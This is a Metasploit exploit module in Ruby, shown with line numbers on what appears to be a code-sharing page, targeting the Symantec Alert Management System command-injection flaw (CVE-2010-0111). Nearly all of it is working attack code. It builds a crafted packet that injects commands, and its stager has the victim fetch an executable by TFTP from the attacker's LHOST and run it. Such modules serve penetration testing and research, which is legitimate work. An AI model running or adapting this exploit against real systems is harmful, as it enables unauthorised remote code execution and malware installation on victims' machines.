Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
class MetasploitModule < Msf::Exploit::Remote
8

9
  Rank = ExcellentRanking
10

11
  include Msf::Exploit::Remote::Tcp
12
  include Msf::Exploit::EXE
13

14
  def initialize(info = {})
15
    super(update_info(info,
16
      'Name'           => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',
17
      'Description'    => %q{
18
          Symantec System Center Alert Management System is prone to a
19
        remote command-injection vulnerability because the application fails
20
        to properly sanitize user-supplied input.  This is part of Symantec
21
        AntiVirus Corporate Edition 8.0 - 10.1.7.
22
      },
23
      'Author'         => [ 'MC' ],
24
      'License'        => MSF_LICENSE,
25
      'References'     =>
26
        [
27
          ['OSVDB', '66807'],
28
          ['BID', '41959'],
29
          ['CVE', '2010-0111'],
30
          ['URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt'],
31
        ],
32
      'Targets'       =>
33
        [
34
          [ 'Windows Universal',
35
            {
36
              'Arch' => ARCH_X86,
37
              'Platform' => 'win'
38
            }
39
          ]
40
        ],
41
      'Privileged' => true,
42
      'Platform' => 'win',
43
      'DefaultTarget' => 0,
44
      'DisclosureDate' => '2010-07-26'))
45

46
    register_options([
47
        Opt::RPORT(38292),
48
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
49
        OptAddress.new('LHOST', [ false, 'The listen IP address from where the victim downloads the payload' ])
50
      ])
51
  end
52

53
  def windows_stager
54

55
    @pl = generate_payload_exe
56
    @tftp = Rex::Proto::TFTP::Server.new
57
    payload_name = "#{Rex::Text.rand_text_alpha_upper(11)}.exe"
58
    @tftp.register_file(payload_name,@pl,true)
59
    @tftp.start
60
    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
61
    execute_command("tftp -i #{datastore['lhost']} GET #{payload_name}")
62
    print_status("Attempting to execute the payload...")
63
    execute_command(payload_name)
64
  end
65

66
  def execute_command(cmd, opts = {})
67

68
    connect
69
    if ( cmd.length > 128 )
70
      fail_with(Failure::Unknown, "Command strings greater then 128 characters will not be processed!")
71
    end
72

73
    string_uno  = Rex::Text.rand_text_alpha_upper(11)
74
    string_dos  = Rex::Text.rand_text_alpha_upper(rand(4) + 5)
75

76
    packet =  "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00"
77
    packet << "\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00"
78
    packet << "\xe8\x03\x00\x00"
79
    packet << 'PRGXCNFG'
80
    packet << "\x10\x00\x00\x00"
81
    packet << "\x00\x00\x00\x00\x04"
82
    packet << 'ALHD\F'
83
    packet << "\x00\x00\x01\x00\x00"
84
    packet << "\x00\x01\x00\x0e\x00"
85
    packet << 'Risk Repaired'
86
    packet << "\x00\x25\x00"
87
    packet << 'Symantec Antivirus Corporate Edition'
88
    packet << "\x00\xf9\x1d\x13\x4a\x3f"
89
    packet << [string_uno.length + 1].pack('v') + string_uno
90
    packet << "\x00\x08\x08\x0a"
91
    packet << "\x00" + 'Risk Name'
92
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
93
    packet << "\x00" + string_dos
94
    packet << "\x00\x08\x0a\x00"
95
    packet << 'File Path'
96
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
97
    packet << "\x00" + string_dos
98
    packet << "\x00\x08\x11\x00"
99
    packet << 'Requested Action'
100
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
101
    packet << "\x00" + string_dos
102
    packet << "\x00\x08\x0e\x00"
103
    packet << 'Actual Action'
104
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
105
    packet << "\x00" + string_dos
106
    packet << "\x00\x08\x07\x00"
107
    packet << 'Logger'
108
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
109
    packet << "\x00" + string_dos
110
    packet << "\x00\x08\x05\x00"
111
    packet << 'User'
112
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
113
    packet << "\x00" + string_dos
114
    packet << "\x00\x08\x09\x00"
115
    packet << 'Hostname'
116
    packet << "\x00\x0e\x00" + [string_uno.length + 1].pack('v') + string_uno
117
    packet << "\x00\x08\x13\x00"
118
    packet << 'Corrective Actions'
119
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
120
    packet << "\x00" + string_dos
121
    packet << "\x00\x00\x07\x08\x12\x00"
122
    packet << 'ConfigurationName'
123
    packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
124
    packet << "\x00" + cmd
125
    packet << "\x00\x08\x0c\x00"
126
    packet << 'CommandLine'
127
    packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
128
    packet << "\x00" + cmd
129
    packet << "\x00\x08\x08\x00"
130
    packet << 'RunArgs'
131
    packet << "\x00\x04\x00\x02\x00"
132
    packet << "\x20\x00\x03\x05\x00"
133
    packet << 'Mode'
134
    packet << "\x00\x04\x00\x02\x00\x00\x00"
135
    packet << "\x0a\x0d\x00"
136
    packet << 'FormatString'
137
    packet << "\x00\x02\x00\x00\x00\x08\x12\x00"
138
    packet << 'ConfigurationName'
139
    packet << "\x00\x02\x00\x00\x00\x08\x0c\x00"
140
    packet << 'HandlerHost'
141
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
142
    packet << "\x00" + string_dos
143
    packet << "\x00" * packet.length
144

145
    sock.put(packet)
146

147
    select(nil,nil,nil,3)
148
    disconnect
149
  end
150

151
  def exploit
152

153
    unless datastore['CMD'].blank?
154
      print_status("Executing command '#{datastore['CMD']}'")
155
      execute_command(datastore['CMD'])
156
      return
157
    end
158

159
    case target['Platform']
160
      when 'win'
161
        if datastore['LHOST'].blank?
162
          fail_with(Failure::Unknown, 'If no custom CMD is set, LHOST is required.')
163
        end
164
        windows_stager
165
      else
166
        fail_with(Failure::Unknown, 'Target not supported.')
167
    end
168

169
    handler
170
  end
171
end
172

173

174